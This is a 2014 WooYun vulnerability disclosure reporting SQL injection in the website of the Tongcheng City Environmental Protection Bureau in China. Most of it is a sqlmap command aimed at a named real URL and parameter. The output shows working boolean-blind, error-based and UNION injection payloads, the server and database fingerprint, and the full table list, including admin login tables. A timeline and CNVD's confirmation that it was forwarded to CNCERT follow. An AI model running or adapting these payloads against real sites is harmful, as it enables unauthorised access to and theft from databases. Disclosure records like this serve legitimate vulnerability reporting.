当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059042

漏洞标题:桐城市环境保护局SQL注入

相关厂商:桐城市环境保护局

漏洞作者: Hero

提交时间:2014-05-11 14:53

修复时间:2014-06-25 14:53

公开时间:2014-06-25 14:53

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-11: 细节已通知厂商并且等待厂商处理中
2014-05-14: 厂商已经确认,细节仅向厂商公开
2014-05-24: 细节向核心白帽子及相关领域专家公开
2014-06-03: 细节向普通白帽子公开
2014-06-13: 细节向实习白帽子公开
2014-06-25: 细节向公众公开

简要描述:

详细说明:

桐城市环境保护局 http://www.tchjbh.gov.cn
http://www.tchjbh.gov.cn/news_display.php?id=259
存在SQL注入

[root@Hacker~]# Sqlmap -u www.tchjbh.gov.cn/news_display.php?id=148 -D tchjbh --
tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:09:40
[21:09:40] [INFO] resuming back-end DBMS 'mysql'
[21:09:41] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=148 AND 5573=5573
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=148 AND (SELECT 4206 FROM(SELECT COUNT(*),CONCAT(0x3a777a613a,(S
ELECT (CASE WHEN (4206=4206) THEN 1 ELSE 0 END)),0x3a6178753a,FLOOR(RAND(0)*2))x
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query (NULL) - 21 columns
Payload: id=148 LIMIT 1,1 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NUL
L, NULL, NULL, NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a777a613a,0x7874707047537
55a6361,0x3a6178753a), NULL, NULL, NULL, NULL, NULL, NULL, NULL#
---
[21:09:47] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.17
back-end DBMS: MySQL 5.0
[21:09:47] [INFO] fetching tables for database: 'tchjbh'
[21:09:53] [INFO] the SQL query used returns 15 entries
[21:09:58] [INFO] retrieved: "admin_authority"
[21:10:04] [INFO] retrieved: "admin_login"
[21:10:10] [INFO] retrieved: "admininfo"
[21:10:16] [INFO] retrieved: "advanced"
[21:10:22] [INFO] retrieved: "big_class"
[21:10:27] [INFO] retrieved: "count"
[21:10:33] [INFO] retrieved: "files"
[21:10:39] [INFO] retrieved: "info"
[21:10:45] [INFO] retrieved: "information1"
[21:10:51] [INFO] retrieved: "ip"
[21:10:58] [INFO] retrieved: "message"
[21:11:04] [INFO] retrieved: "sec_class"
[21:11:09] [INFO] retrieved: "third_class"
[21:11:15] [INFO] retrieved: "tqinfo"
[21:11:21] [INFO] retrieved: "vote"
Database: tchjbh
[15 tables]
+-----------------+
| admin_authority |
| admin_login |
| admininfo |
| advanced |
| big_class |
| count |
| files |
| info |
| information1 |
| ip |
| message |
| sec_class |
| third_class |
| tqinfo |
| vote |
+-----------------+

漏洞证明:

同上

修复方案:

不懂

版权声明:转载请注明来源 Hero@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-14 18:19

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给安徽分中心处置。

最新状态:

暂无